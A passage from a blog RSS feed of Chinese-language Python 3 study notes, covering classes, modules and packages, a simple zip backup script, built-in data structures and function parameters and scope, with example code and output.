__init__(self):<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.data = []<br/>&nbsp;&nbsp;&nbsp;&nbsp;def add(self, x):<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.data.append(x)<br/>&nbsp;&nbsp;&nbsp;&nbsp;def addtwice(self, x):<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.add(x)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.add(x)<br/><br/># Child extends Base<br/>class Child(Base):<br/>&nbsp;&nbsp;&nbsp;&nbsp;def plus(self,a,b):<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return a+b<br/><br/>oChild =Child()<br/>oChild.add(&quot;str1&quot;)<br/>print (oChild.data)<br/>print (oChild.plus(2,3))<br/><br/>&#039;&#039;&#039;<br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* self:类似Java的this参数<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#039;&#039;&#039;<br/><br/> <br/>11 包机制<br/><br/>每一个.py文件称为一个module,module之间可以互相导入.请参看以下例子:<br/># a.py<br/>def add_func(a,b):<br/>&nbsp;&nbsp;&nbsp;&nbsp;return a+b<br/><br/> <br/># b.py<br/>from a import add_func # Also can be : import a<br/><br/>print (&quot;Import add_func from module a&quot;)<br/>print (&quot;Result of 1 plus 2 is: &quot;)<br/>print (add_func(1,2))&nbsp;&nbsp;&nbsp;&nbsp;# If using &quot;import a&quot; , then here should be &quot;a.add_func&quot;<br/><br/><br/>module可以定义在包里面.Python定义包的方式稍微有点古怪,假设我们有一个parent文件夹,该文件夹有一个child子文件夹.child中有一个module a.py . 如何让Python知道这个文件层次结构?很简单,每个目录都放一个名为_init_.py 的文件.该文件内容可以为空.这个层次结构如下所示:<br/>parent <br/>&nbsp;&nbsp;--__init_.py<br/>&nbsp;&nbsp;--child<br/>&nbsp;&nbsp;&nbsp;&nbsp;-- __init_.py<br/>&nbsp;&nbsp;&nbsp;&nbsp;--a.py<br/><br/>b.py<br/><br/><br/>那么Python如何找到我们定义的module?在标准包sys中,path属性记录了Python的包路径.你可以将之打印出来:<br/>import sys<br/><br/>print(sys.path)<br/><br/><br/>通常我们可以将module的包路径放到环境变量PYTHONPATH中,该环境变量会自动添加到sys.path属性.另一种方便的方法是编程中直接指定我们的module路径到sys.path 中:<br/>import sys<br/>import os<br/>sys.path.append(os.getcwd()+&#039;&#92;&#92;parent&#92;&#92;child&#039;)<br/><br/>print(sys.path)<br/><br/>from a import add_func<br/><br/><br/>print (sys.path)<br/><br/>print (&quot;Import add_func from module a&quot;)<br/>print (&quot;Result of 1 plus 2 is: &quot;)<br/>print (add_func(1,2))<br/><br/><br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* 如何定义模块和包<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 如何将模块路径添加到系统路径,以便python找到它们<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 如何得到当前路径<br/><br/>来自:<a href="http://www.cnitblog.com/yunshichen/archive/2009/04/01/55924.html" target="_blank">http://www.cnitblog.com/yunshichen/archive/2009/04/01/55924.html</a><br/><br/>12 内建帮助手册<br/><br/>对比C++,Java的突出进步是内建Javadoc机制,程序员可以通过阅读Javadoc了解函数用法.Python也内建了一些方便函数以便程序员参考.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* dir函数: 查看某个类/对象的方法. 如果有某个方法想不起来,请敲dir. 在idle里,试试 dir(list)<br/>&nbsp;&nbsp;&nbsp;&nbsp;* help函数: 详细的类/对象介绍. 在idle里, 试试 help(list)<br/>
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/770/</link>
<title><![CDATA[python3学习笔记8]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Wed, 10 Jun 2009 04:10:06 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/770/</guid> 
<description>
<![CDATA[ 
	8.Python:解决问题<br/>问题<br/><br/>问题是我需要对一些重要文件进行备份。尽管这个问题很简单，我们还是要仔细分析。如哪些文件需要备份？备份文件如何存储？存储在哪里？<br/><br/>我列出了解决问题所需要注意的事情。<br/><br/>1.&nbsp;&nbsp;&nbsp;&nbsp; 把需要备份的文件和目录存在一个表中list。<br/><br/>2.&nbsp;&nbsp;&nbsp;&nbsp; 备份文件必须存储在一个主文件夹中。<br/><br/>3.&nbsp;&nbsp;&nbsp;&nbsp; 文件备份成.zip文件<br/><br/>4.&nbsp;&nbsp;&nbsp;&nbsp; zip文件名是当前日期和时间。<br/><br/>5.&nbsp;&nbsp;&nbsp;&nbsp; 我们使用标准zip命令，windows用户可以安装http:/ / gnuwin32. sourceforge. net/ downlinks/zip. Php。<br/>解法<br/><br/>import os<br/><br/>import time<br/><br/>source=['"C:&#92;&#92;Downloads"','"C:&#92;&#92;gdiplus.dll"']<br/><br/>target_dir='E:&#92;&#92;Backup'<br/><br/>target=target_dir+os.sep+time.strftime('%Y%m%d%H%M%S')+'.zip'<br/><br/>zip_command="zip -qr &#123;0&#125; &#123;1&#125;".format(target,' '.join(source))<br/><br/>os.system("mkdir &#123;0&#125;".format(target_dir))&nbsp;&nbsp; #我添加了这一句，必须先建此目录<br/><br/>if os.system(zip_command)==0:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Successful backup to',target)<br/><br/>else:<br/><br/>print('Backup FAILED')<br/><br/>运行输出：<br/><br/>>>><br/><br/>Successful backup to E:&#92;Backup&#92;20090531221407.zip<br/>第二版<br/><br/>第一版可以做些改良，这是软件的维护阶段。其中一个改良之处是文件命名机制。在主备份目录下建立当天目录，在当天目录下建立当时压缩文件。好处一分级结构便于管理，好处二文件名缩短，好处三可以方便判断当天是否备份过。<br/><br/>import os<br/><br/>import time<br/><br/>source=['"C:&#92;&#92;Downloads"','"C:&#92;&#92;gdiplus.dll"']<br/><br/>target_dir='E:&#92;&#92;Backup'<br/><br/>today=target_dir+os.sep+time.strftime('%Y%m%d')<br/><br/>now=time.strftime('%H%M%S')<br/><br/>if not os.path.exists(today):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;os.mkdir(today)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Successfully created directory',today)<br/><br/>&nbsp;&nbsp; <br/><br/>target=today+os.sep+now+'.zip'<br/><br/>zip_command="zip -qr &#123;0&#125; &#123;1&#125;".format(target,' '.join(source))<br/><br/>os.system("mkdir &#123;0&#125;".format(target_dir))&nbsp;&nbsp; #我添加了这一句，必须先建此目录<br/><br/>if os.system(zip_command)==0:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Successful backup to',target)<br/><br/>else:<br/><br/>print('Backup FAILED')<br/><br/>运行输出：<br/><br/>>>><br/><br/>Successfully created directory E:&#92;Backup&#92;20090531<br/><br/>Successful backup to E:&#92;Backup&#92;20090531&#92;223320.zip<br/>第三版<br/><br/>再次改良，加入当天备份时改变部分的注释。<br/><br/>import os<br/><br/>import time<br/><br/>source=['"C:&#92;&#92;Downloads"','"C:&#92;&#92;gdiplus.dll"']<br/><br/>target_dir='E:&#92;&#92;Backup'<br/><br/>today=target_dir+os.sep+time.strftime('%Y%m%d')<br/><br/>now=time.strftime('%H%M%S')<br/><br/>comment=input('Enter a comment --> ')<br/><br/>if len(comment)==0:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;target=today+os.sep+now+'.zip'<br/><br/>else:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;target=today+os.sep+now+'_'+comment.replace(' ','_')+'.zip'<br/><br/>&nbsp;&nbsp; <br/><br/>if not os.path.exists(today):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;os.mkdir(today)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Successfully created directory',today)<br/><br/>&nbsp;&nbsp; <br/><br/>zip_command="zip -qr &#123;0&#125; &#123;1&#125;".format(target,' '.join(source))<br/><br/>os.system("mkdir &#123;0&#125;".format(target_dir))&nbsp;&nbsp; #我添加了这一句，必须先建此目录<br/><br/>if os.system(zip_command)==0:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Successful backup to',target)<br/><br/>else:<br/><br/>print('Backup FAILED')<br/><br/>运行输出：<br/><br/>>>><br/><br/>Enter a comment --> hello<br/><br/>Successful backup to E:&#92;Backup&#92;20090531&#92;224002_hello.zip<br/>更多的改良<br/><br/>第三版已经能满足需要了，但是还有很多地方可以改良。比如加强互动，或者通过命令行参数传入需要压缩的文件/目录。最重要的改良是不使用外部zip命令，使用内建函数zipfile或tarfile。<br/><br/>软件开发流程<br/><br/>1.&nbsp;&nbsp;&nbsp;&nbsp; 什么（分析）<br/><br/>2.&nbsp;&nbsp;&nbsp;&nbsp; 如何（设计）<br/><br/>3.&nbsp;&nbsp;&nbsp;&nbsp; 实施（编码）<br/><br/>4.&nbsp;&nbsp;&nbsp;&nbsp; 测试（测试和除虫）<br/><br/>5.&nbsp;&nbsp;&nbsp;&nbsp; 使用<br/><br/>6.&nbsp;&nbsp;&nbsp;&nbsp; 维护（改良）
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/769/</link>
<title><![CDATA[python3学习笔记7]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Wed, 10 Jun 2009 04:09:29 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/769/</guid> 
<description>
<![CDATA[ 
	<br/>7.Python:数据结构<br/><br/>数据结构就是组织存储一组相关数据的方式。Python有四种内建的数据结构表list，数组tuple，字典dictionary和集合set。<br/>List<br/><br/>表存放有序的项，项在方括号内，项之间有逗号隔开。创建表后，可以对表进行增加项、删除项和查找项操作。<br/><br/>对象和类的简单介绍<br/><br/>表是对象和类的使用的一个例子。类可以有方法，只有当你有这个类的对象时才可以使用该类的方法。List提供append方法用来加入新项，如mylist.append(‘an item’)。类同时还有域，其实就是变量。<br/><br/>shoplist=['apple','mango','carrot','banana']<br/><br/>print('I have',len(shoplist),'items to purchase.')<br/><br/>print('these items are:',end=' ')<br/><br/>for item in shoplist:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(item, end=' ')<br/><br/>print('&#92;nI also have to buy rice.')<br/><br/>shoplist.append('rice')<br/><br/>print('my shoplist is now',shoplist)<br/><br/>print('I have sort my list now')<br/><br/>shoplist.sort()<br/><br/>print('Sorted shoplist is',shoplist)<br/><br/>print('the first item i will buy is',shoplist[0])<br/><br/>olditem=shoplist[0]<br/><br/>del shoplist[0]<br/><br/>print('I bought the',olditem)<br/><br/>print('my shopping list is now',shoplist)<br/><br/>运行输出：<br/><br/>>>><br/><br/>I have 4 items to purchase.<br/><br/>these items are: apple mango carrot banana<br/><br/>I also have to buy rice.<br/><br/>my shoplist is now ['apple', 'mango', 'carrot', 'banana', 'rice']<br/><br/>I have sort my list now<br/><br/>Sorted shoplist is ['apple', 'banana', 'carrot', 'mango', 'rice']<br/><br/>the first item i will buy is apple<br/><br/>I bought the apple<br/><br/>my shopping list is now ['banana', 'carrot', 'mango', 'rice']<br/><br/>help(list)可以看到list的所有方法。<br/>数组（元组）Tuple<br/><br/>元组很像表，只是元组像字符串一样是不可变的，你不能修改元组。元组定义为圆括号括起来的逗号分开的项。<br/><br/>zoo=('python','elephant','penguin')<br/><br/>print('number of animals in the zoo is',len(zoo))<br/><br/>new_zoo=('monkey','camel',zoo)<br/><br/>print('Number of cages in the new zoo is ',len(new_zoo))<br/><br/>print('all animals in the new zoo are',new_zoo)<br/><br/>print('animals brought from old zoo are',new_zoo[2])<br/><br/>print('last animal brought form old zoo is',new_zoo[2][2])<br/><br/>print('Number of animals in the new zoo is',len(new_zoo)-1+len(new_zoo[2]))<br/><br/>运行输出:<br/><br/>>>><br/><br/>number of animals in the zoo is 3<br/><br/>Number of cages in the new zoo is 3<br/><br/>all animals in the new zoo are ('monkey', 'camel', ('python', 'elephant', 'penguin'))<br/><br/>animals brought from old zoo are ('python', 'elephant', 'penguin')<br/><br/>last animal brought form old zoo is penguin<br/><br/>Number of animals in the new zoo is 5<br/><br/>注意：含0个项的元组myempty=().含1个项的元组singleton=&#123;2,&#125;，要有逗号。<br/>字典Dictionary<br/><br/>字典就像一个电话簿，你只需要知道某个人的名字就可以查到这个人的详细信息，我们称其为键（key）和值（value），键必须是唯一的。键只能是不可变对象比如字符串，值可以是可变对象也可以是不可变对象，也就是说只有简单对象能做键。键与值之间用分号隔开，键值对之间用逗号隔开，键值对用大括号括起来，d=&#123;key1:value1,key2:value2&#125;<br/><br/>ab=&#123;'swroop'&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp; 'swaroop@swaroopch.com',<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;'Larry'&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; 'Larry@wall.org',<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;'Matsuoto' :&nbsp;&nbsp; 'matz@ruby-lang.org',<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;'Spammer'&nbsp;&nbsp; :&nbsp;&nbsp; 'Spammer@hotmail.com'<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>print("Swaroop's address is",ab['swroop'])<br/><br/>del ab['Spammer']<br/><br/>print('&#92;nThere are &#123;0&#125; contacts in the address book&#92;n'.format(len(ab)))<br/><br/>for name,address in ab.items():<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Contacts &#123;0&#125; at &#123;1&#125;'.format(name,address))<br/><br/>ab['Guido']='guido@python.org'<br/><br/>if 'Guido' in ab:<br/><br/>print("&#92;nGuido's address is",ab['Guido'])<br/><br/>运行输出：<br/><br/>>>><br/><br/>Swaroop's address is swaroop@swaroopch.com<br/><br/>There are 3 contacts in the address book<br/><br/>Contacts swroop at swaroop@swaroopch.com<br/><br/>Contacts Larry at Larry@wall.org<br/><br/>Contacts Matsuoto at matz@ruby-lang.org<br/><br/>Guido's address is guido@python.org<br/><br/>>>><br/><br/>测试字典中是否含有某个键可以用操作符in或者方法has_key,具体用法请见help(dict)<br/>序列<br/><br/>表、元组和字符串都是序列，序列的两大特点是具有索引操作符可以取出特定项，具有切片操作符可以截取序列的一部分。<br/><br/>shoplist=['apple','mango','carrot','banana']<br/><br/>name='Swaroop'<br/><br/>print('Item 0 is',shoplist[0])<br/><br/>print('Item 1 is',shoplist[1])<br/><br/>print('Item -1 is',shoplist[-1])<br/><br/>print('Item -2 is',shoplist[-2])<br/><br/>print('Character 0 is',name[0])<br/><br/>print('Item 1 to 3 is',shoplist[1:3])<br/><br/>print('Item 2 to end is',shoplist[2:])<br/><br/>print('Item 1 to -1 is',shoplist[1:-1])<br/><br/>print('Item start to end is',shoplist[:])<br/><br/>print('character 1 to 3 is',name[1:3])<br/><br/>print('character 2 to end is',name[2:])<br/><br/>print('character 1 to -1 is',name[1:-1])<br/><br/>print('character start to end is',name[:])<br/><br/>运行输出：<br/><br/>>>><br/><br/>Item 0 is apple<br/><br/>Item 1 is mango<br/><br/>Item -1 is banana<br/><br/>Item -2 is carrot<br/><br/>Character 0 is S<br/><br/>Item 1 to 3 is ['mango', 'carrot']<br/><br/>Item 2 to end is ['carrot', 'banana']<br/><br/>Item 1 to -1 is ['mango', 'carrot']<br/><br/>Item start to end is ['apple', 'mango', 'carrot', 'banana']<br/><br/>character 1 to 3 is wa<br/><br/>character 2 to end is aroop<br/><br/>character 1 to -1 is waroo<br/><br/>character start to end is Swaroop<br/><br/>>>><br/><br/>Python从0开始计数，因此sh0plist[0]取得第一个项，shoplist[3]取得第四个项。索引可以是负数，这时从后往前计数，shoplist[-1]取得最后一个项，shoplist[-2]取得倒数第二个项。切片操作格式是[起始位置:结束位置:步进]，参数都是可选的，起始位置项包含在内，而结束位置项排除在外。Shoplist[1:3]返回第二项和第三项。切片位置也可以是负数，负数表示从序列结束开始数的位置，shoplist[:-1]返回从开始到倒数第二项的序列。<br/><br/>>>> shoplist=['apple','mango','carrot','banana']<br/><br/>>>> shoplist[::1]<br/><br/>['apple', 'mango', 'carrot', 'banana']<br/><br/>>>> shoplist[::2]<br/><br/>['apple', 'carrot']<br/><br/>>>> shoplist[::3]<br/><br/>['apple', 'banana']<br/><br/>>>> shoplist[::-1]<br/><br/>['banana', 'carrot', 'mango', 'apple']<br/><br/>>>><br/>集合<br/><br/>集合是无序的简单对象合集，当对象的存在与否比对象顺序和对象出现次数重要时，可以使用集合。使用集合，可以测试对象的成员关系，子集关系和求交集。<br/><br/>>>> bri=set(['brazil','russia','india'])<br/><br/>>>> 'india' in bri<br/><br/>True<br/><br/>>>> 'usa' in bri<br/><br/>False<br/><br/>>>> bric=bri.copy()<br/><br/>>>> bric.add('china')<br/><br/>>>> bric.issuperset(bri)<br/><br/>True<br/><br/>>>> bri.remove('russia')<br/><br/>>>> bri&bric #OR bri.intersection(bric)<br/><br/>&#123;'brazil', 'india'&#125;<br/>参考<br/><br/>当你给一个对象赋予一个变量时，该变量仅仅参考该对象，而不能代表该对象，变量名指向内存中存储该对象的地方，这叫做绑定变量名到对象。<br/><br/>print('Simple Assignment')<br/><br/>shoplist=['apple','mango','carrot','banana']<br/><br/>mylist=shoplist #mylist is just another name pointing to the same object!<br/><br/>del shoplist[0]<br/><br/>print('shoplist is',shoplist)<br/><br/>print('mylist is',mylist)<br/><br/>print('Copy by making a full slice')<br/><br/>mylist=shoplist[:]<br/><br/>del mylist[0]<br/><br/>print('shoplist is',shoplist)<br/><br/>print('mylist is',mylist)<br/><br/>运行输出：<br/><br/>Simple Assignment<br/><br/>shoplist is ['mango', 'carrot', 'banana']<br/><br/>mylist is ['mango', 'carrot', 'banana']<br/><br/>Copy by making a full slice<br/><br/>shoplist is ['mango', 'carrot', 'banana']<br/><br/>mylist is ['carrot', 'banana']<br/>关于字符串的更多<br/><br/>字符串类有很多方法，help(str)可以看到。<br/><br/>name='Swaroop'<br/><br/>if name.startswith('Swa'):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Yes,the string starts with "Swa"')<br/><br/>if 'a' in name:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Yes, it contains the string "a"')<br/><br/>if name.find('war')!=-1:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Yes,it contains the string "war"')<br/><br/>delimiter='_*_'<br/><br/>mylist=['Brazil','Russia','India','China']<br/><br/>print(delimiter.join(mylist))<br/><br/>运行输出：<br/><br/>>>><br/><br/>Yes,the string starts with "Swa"<br/><br/>Yes, it contains the string "a"<br/><br/>Yes,it contains the string "war"<br/><br/>Brazil_*_Russia_*_India_*_China
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/768/</link>
<title><![CDATA[python3学习笔记6]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Wed, 10 Jun 2009 04:08:27 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/768/</guid> 
<description>
<![CDATA[ 
	6.python:模块<br/><br/>函数可使代码重用，多个函数重用需要使用模块modules。一个模块就是一个包含你定义的函数和变量的文件。<br/><br/>要想在其他程序中使用模块，必须把模块文件的名字存为.py。<br/><br/>模块可以被导入到程序中，python标准库就是这样使用的。<br/><br/>import sys<br/><br/>print('the command line arguments are:')<br/><br/>for i in sys.argv:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(i)<br/><br/>print('&#92;n&#92;nThe PythonPath is',sys.path,'&#92;n')<br/><br/>运行输出<br/><a href="http://hacklu.net/blog/attachment.php?fid=173" target="_blank"><img src="http://hacklu.net/blog/attachment.php?fid=173" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>首先sys模块包含python解释器的相关函数和环境变量。当执行import sys时，解释器在sys.path所列目录中寻找sys.py文件，找到后模块中主块执行供你使用。初始化仅在模块导入时做一次。argv变量是一个字符串表，存储传送给函数的命令行参数。运行中脚本的名称始终是sys.argv中的第一个。<br/>字节编译的.pyc文件<br/><br/>导入模块花销很大，Python把模块转换成扩展名为.pyc的字节编译文件来减少编译时间。.pyc文件与原.py文件在同一文件夹下，要保证该目录是可写的，此文件是平台依赖的。<br/><br/>from…import…语句<br/><br/>如果只想引入sys模块中的某个变量，可以使用from sys import argv，如果要引入所有变量，可以使用from sys import *。<br/><br/>模块的名称<br/><br/>当模块被导入的时候，主块执行。假如我们只想在程序本身被使用的时候运行主块，而在它被别的模块输入的时候不运行主块，我们该怎么做呢？这可以通过模块的__name__属性完成。<br/><br/>#!/usr/bin/python<br/># Filename: using_name.py<br/><br/>if __name__ == '__main__':<br/>&nbsp;&nbsp;&nbsp;&nbsp; print 'This program is being run by itself'<br/>else:<br/>&nbsp;&nbsp;&nbsp;&nbsp; print 'I am being imported from another module'<br/><br/>运行输出<br/><br/>$ python using_name.py<br/>This program is being run by itself<br/><br/>$ python<br/>>>> import using_name<br/>I am being imported from another module<br/>>>><br/>制作你自己的模块<br/><br/>每个python程序就已经是一个模块了，你只需要保证文件后缀名是.py就可以了。<br/><br/>#!/usr/bin/python<br/><br/># Filename: mymodule.py<br/><br/>def sayhi():<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Hi, this is mymodule speaking.')<br/><br/>__version__ = '0.1'<br/><br/># End of mymodule.py<br/><br/>#!/usr/bin/python<br/><br/># Filename: mymodule_demo.py<br/><br/>import mymodule<br/><br/>mymodule.sayhi()<br/><br/>print ('Version', mymodule.__version__)<br/><br/>运行输出：<br/><br/>$ python mymodule_demo.py<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Hi, this is mymodule speaking.<br/><br/>Version 0.1<br/>dir函数<br/><br/>内建函数dir可以列出模块内所有的变量、类和函数。<br/><br/>>>> import sys<br/><br/>>>> dir(sys)<br/><br/>['__displayhook__', '__doc__', '__excepthook__', '__name__', '__package__', '__stderr__', '__stdin__', '__stdout__', '_clear_type_cache', '_current_frames', '_getframe', 'api_version', 'argv', 'builtin_module_names', 'byteorder', 'call_tracing', 'callstats', 'copyright', 'displayhook', 'dllhandle', 'dont_write_bytecode', 'exc_info', 'excepthook', 'exec_prefix', 'executable', 'exit', 'flags', 'float_info', 'getcheckinterval', 'getdefaultencoding', 'getfilesystemencoding', 'getprofile', 'getrecursionlimit', 'getrefcount', 'getsizeof', 'gettrace', 'getwindowsversion', 'hexversion', 'intern', 'maxsize', 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks', 'path_importer_cache', 'platform', 'prefix', 'setcheckinterval', 'setfilesystemencoding', 'setprofile', 'setrecursionlimit', 'settrace', 'stderr', 'stdin', 'stdout', 'subversion', 'version', 'version_info', 'warnoptions', 'winver']<br/><br/>>>> dir<br/><br/><built-in function dir><br/><br/>>>> dir()<br/><br/>['__builtins__', '__doc__', '__name__', '__package__', 'mymodule', 'sys']<br/><br/>>>> a=5<br/><br/>>>> dir()<br/><br/>['__builtins__', '__doc__', '__name__', '__package__', 'a', 'mymodule', 'sys']<br/><br/>>>><br/><br/>
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/767/</link>
<title><![CDATA[python3学习笔记5]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Wed, 10 Jun 2009 04:06:51 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/767/</guid> 
<description>
<![CDATA[ 
	<br/>5.Python:函数<br/><br/>函数是可重用的程序块，给程序块起个名字就可以再其他程序中引用改名字，这就是函数调用。已经用过的函数如len和range。<br/><br/>函数使用def关键字来定义，函数名后跟括号，括号中包含变量名，括号后跟冒号。然后是函数代码块。<br/><br/>def sayHello():<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Hello world')<br/><br/>sayHello()<br/><br/>sayHello()<br/><br/>运行输出：<br/><br/>>>><br/><br/>Hello world<br/><br/>Hello world<br/>函数参数<br/><br/>包含在括号中，用逗号分开，调用运行时赋值。<br/><br/>def printMax(a,b):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if a>b:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(a,'is maxium')<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;elif a==b:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(a,'is equal to',b)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;else:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(b,'is maxium')<br/><br/>printMax(3,4)<br/><br/>x=5<br/><br/>y=7<br/><br/>printMax(x,y)<br/><br/>运行输出：<br/><br/>>>><br/><br/>4 is maxium<br/><br/>7 is maxium<br/>局部变量<br/><br/>局部变量是在函数内部声明的变量，生存域在函数内，可以与函数外的变量同名。<br/><br/>x=50<br/><br/>def func(x):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('x is' ,x)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;x=2<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('changed local x to',x)<br/><br/>func(x)<br/><br/>print('x is still',x)<br/><br/>运行输出：<br/><br/>>>><br/><br/>x is 50<br/><br/>changed local x to 2<br/><br/>x is still 50<br/>使用全局申明<br/><br/>如果你想在程序的最外层定义变量，你必须告诉python这个变量不是局部的，而是全局的，这可以用global语句来完成。不使用global语句是无法对程序外部定义的变量赋值的。如果在程序内部没有同名变量，那么你可以直接赋值，但是这样很不清楚。<br/><br/>x=50<br/><br/>def func():<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;global x<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('x is',x)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;x=2<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('changed global x to',x)<br/><br/>func()<br/><br/>print('Value of x is',x)<br/><br/>运行输出：<br/><br/>>>><br/><br/>x is 50<br/><br/>changed global x to 2<br/><br/>Value of x is 2<br/>使用nonlocal语句<br/><br/>在局部和全局之间还有一种域，叫做非局部域nonlocal，当在函数中定义函数时，就会出现非局部域。<br/><br/>def func_outer():<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;x=2<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('x is',x)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;def func_inner():<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nonlocal x<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x=5<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;func_inner()<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('Changed local x to',x)<br/><br/>func_outer()<br/><br/>运行输出：<br/><br/>>>><br/><br/>x is 2<br/><br/>Changed local x to 5<br/>缺省参数值<br/><br/>某些函数的参数需要设置成可选的，当用户没有指定该参数值时，函数中使用此参数的默认值。设置默认值的方法是在函数声明时该参数后跟“=”和默认值，注意默认值应该是常量，或者说是不可变值。<br/><br/>def say(message,times=1):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(message*times)<br/><br/>say('Hello')<br/><br/>say('World',5)<br/><br/>运行输出：<br/><br/>>>><br/><br/>Hello<br/><br/>WorldWorldWorldWorldWorld<br/><br/>注意：具有默认值的参数应该放在没有默认值参数的后面。<br/>关键字参数<br/><br/>指定参数值时可以使用参数名，也可以按照参数在函数定义中的位置。这样做有两个好处，一是不用记参数的顺序了，二是只需要给必须赋值的参数赋值。<br/><br/>def func(a,b=5,c=10):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print('a is',a,'and b is',b,'anc c is',c)<br/><br/>func(3,7)<br/><br/>func(25,c=24)<br/><br/>func(c=50,a=100)<br/><br/>运行输出：<br/><br/>a is 3 and b is 7 anc c is 10<br/><br/>a is 25 and b is 5 anc c is 24<br/><br/>a is 100 and b is 5 anc c is 50<br/>可变参数函数<br/><br/>有时候你可能需要定义一个具有可变参数个数的函数，使用‘*’可以达到效果。<br/><br/>def total(initial=5,*numbers,**keywords):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;count=initial<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;for number in numbers:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;count +=number<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;for key in keywords:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;count += keywords[key]<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;return count<br/><br/>print(total(10,1,2,3,vegetables=50,fruits=100))<br/><br/>运行输出：<br/><br/>>>><br/><br/>166<br/><br/>当我们声明一个带星号的参数如*param，那么从这一个参数到结束的参数被收集成一个list，称为param。同样，当我们声明一个带双星号的参数如**param，那么从这个参数到结束的参数被收集成一个字典，称为param。<br/><br/>在后面的章节会讲list和dictionary的知识。<br/>只能用关键字赋值的参数<br/><br/>如果你想指定某个参数只能通过关键字赋值，而不能靠位置来赋值，你可以声明这个参数为带星号的参数。<br/><br/>def total(initial=5,*numbers,vegetables):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;count=initial<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;for number in 